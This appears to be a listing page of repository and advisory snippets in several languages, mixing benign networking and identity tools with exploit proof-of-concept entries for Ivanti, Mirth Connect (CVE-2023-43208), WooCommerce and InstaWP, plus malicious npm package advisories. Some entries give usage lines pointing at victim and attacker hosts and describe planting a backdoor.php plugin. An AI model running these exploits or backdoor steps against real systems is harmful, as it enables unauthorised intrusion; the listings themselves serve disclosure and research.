OnionHop

OnionHop V3 OnionHop V3 is a modern, cross-platform desktop app Windows, macOS and Linux that routes your traffic through Tor. It can run Tor as a local SOCKS proxy or as a system-wide tunnel, automatically pick a working connection strategy for your network with Smart Connect , scan and apply...

kratos

Chat · Discussions · Newsletter · Docs · Try Ory Network · Jobs Ory Kratos is an API first identity and user management system for cloud native applications. It centralizes login, registration, recovery, verification, and profile management flows so your services consume them instead of...

naabu

Features • Installation • Usage • Running naabu • Config • NMAP integration • CDN/WAF Exclusion • Discord Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT/UDP scans o...

socks5

socks5 Socks5/Socks5h server and client This project is to add protocol support for the Bridge, or it can be used alone Usage API Documentation Example Support for the CONNECT command Support for the BIND command Support for the ASSOCIATE command License Licensed under the MIT License. See LICENS...

CVE-2023-38041-POC

CVE-2023-38041-POC Ivanti Pulse Secure Client Connect Local Privilege Escalation CVE-2023-38041 Proof of Concept...

Malicious code in @xatancchii/velycxbail (npm)

This package is part of a large family 100+ identified as of September 2026 of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated w:mex FOLLOW query queryid...

MAL-2026-17404 Malicious code in saturn-baileys (npm)

This package is part of a large family 100+ identified as of September 2026 of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated w:mex FOLLOW query queryid...

CVE-2025-22457

PoC for CVE-2025-22457 A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways Overview This is a proof of concept exploit to demonstrate exploitation of CVE-2025-22457. For a complete technical analysis of...

mitm-proxy

Go MITM Proxy A lightweight, developer-friendly Man‑in‑the‑Middle MITM HTTP/HTTPS proxy written in Go. It supports HTTP/1.1 and HTTP/2, CONNECT tunneling, WebSocket tunneling ws/wss, on‑disk response caching with flexible filters, and live config reloading. Badges Admin Dashboard Preview Overview...

Ivanti-Connect-Secure-Logs-Parser

Ivanti Secure Connect 日志解析器 本代码仓库提供了一个 Python 脚本，用于将 Ivanti Secure Connect 的 .vc0 日志文件转换为 CSV 格式，以支持数字取证与应急响应。具体来说，该解析器： 从 Ivanti 日志文件（尤其是 .vc0 文件）中提取时间戳。 将这些十六进制时间戳转换为人类可读的日期/时间字符串。 将日志条目转换为可读的 CSV。 根据参考 CSV，将每条日志的消息代码映射到描述性的消息类型和消息文本。 该工具最初是在调查 CVE-2025-0282（一个影响某些 Ivanti 设备的未认证远程代码执行漏洞）时开发的。来自...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208: NextGen Mirth Connect における未認証のリモートコード実行（RCE） このエクスプロイトは、Mirth Connect の XStream エンジン内の深刻なデシリアライゼーションの脆弱性を悪用します。これは CVE-2023-37679 に対する不完全なパッチに起因し、4.4.1 より前のすべてのバージョンで未認証の任意コード実行を可能にします。 使用方法 python3 mirthrce.py https://target 免責事項 このエクスプロイトスクリプトは、CVE-2023-43208...

sisu

sisu ⚡ Your AWS, as a filesystem. This: grep -l "AdministratorAccess" iam/users//policies.json Instead of this: aws iam list-users --query 'Users.UserName' --output text | \ xargs -I sh -c 'aws iam list-attached-user-policies --user-name --query "AttachedPolicies.PolicyArn" --output text' | \ gre...

CVE-2023-43208-PoC

Mirth Connect RCE エクスプロイト CVE-2023-43208 このスクリプトは、Mirth Connect （4.4.1より前のバージョン）のリモートコード実行（RCE）脆弱性に対する概念実証（PoC）です。APIを介してXStreamの逆シリアル化の脆弱性を悪用します。 要件 Python 3.10 以上（3.13 にも対応）。 ターゲットへのネットワーク接続。 ツールの使い方 python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto インストール 仮想環境の使用を推奨します...

boundary

Boundary Boundaryとは: https://developer.hashicorp.com/boundary/docs/what-is-boundary ウェブサイト: https://www.developer.hashicorp.com/boundary/ フォーラム: HashiCorp Discuss ドキュメント: https://developer.hashicorp.com/boundary/docs チュートリアル: HashiCorpのLearnプラットフォーム...

CVE-2025-9286

CVE-2025-9286 Appy Pie Connect for WooCommerce = 1.1.2 - 認可の欠如による未認証の権限昇格 ⚠️ Appy Pie Connect for WooCommerce = 1.1.2 - resetuserpasswordを介した認可の欠如による未認証の権限昇格 📝 説明 WordPress用プラグイン「Appy Pie Connect for WooCommerce」は、バージョン1.1.2以前の全バージョンにおいて、resetuserpassword RESTハンドラー内の認可の欠如により、権限昇格の脆弱性が存在します。...

dex

dex - フェデレーション型OpenID Connectプロバイダー Dexは、OpenID Connectを使用して他のアプリの認証を駆動するアイデンティティサービスです。 Dexは、「コネクタ」を介して他のアイデンティティプロバイダーへのポータルとして機能します。これにより、dexはLDAPサーバー、SAMLプロバイダー、またはGitHub、Google、Active Directoryなどの確立されたアイデンティティプロバイダーへの認証を委任できます。クライアントはdexと通信するための認証ロジックを一度記述するだけでよく、dexが各バックエンドのプロトコルを処理します。...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect の未認証RCE 要件 Python 3.11 以上（3.11、3.12、3.13 でテスト済み） セットアップ Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 使用方法 Check version only python3 CVE-2023-43208.py -u https://TARGET...

CVE-2024-2667

InstaWP Connect – 1クリックWPステージング＆マイグレーション 有効または無効なAPIキーを自由に使用できます。\ overridepluginzip - バックドアを含む悪意のあるWordPressプラグインが格納されたzipファイルへのパス。 インポート後、http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php からバックドアにアクセスできます（ディレクトリ名がmalicious-pluginで、そのディレクトリ配下にbackdoor.phpがある場合）。 参照:...

kratos

チャット · ディスカッション · ニュースレター · ドキュメント · Ory Networkを試す · 採用情報 Ory Kratosは、クラウドネイティブアプリケーション向けのAPIファーストなID・ユーザー管理システムです。ログイン、登録、復旧、確認、プロフィール管理のフローを一元化し、あなたのサービスがそれらを再実装する代わりに利用できるようにします。 目次 Ory Kratosとは？ なぜOry Kratosなのか Auth0、Okta、類似プロバイダーからの移行 デプロイオプション Ory NetworkでOry Kratosを使用する Ory Kratosをセルフホストす...

bbs

BBS 旧バージョンの bbs はこちらにあります。 説明 bbs は SOCKS プロキシと HTTP プロキシのためのルーターです。SOCKS5、HTTP CONNECT、またはポートフォワーディングサービスを公開し、リクエストのターゲットに基づいて、受信したリクエストをプロキシまたはプロキシのチェーンに転送します。ルーティングは、PAC サポート付きでビルドされた場合 PAC スクリプト、または JSON ファイルで設定できます。 インストール go install github.com/synacktiv/bbs@master PAC スクリプトサポート付きで bbs...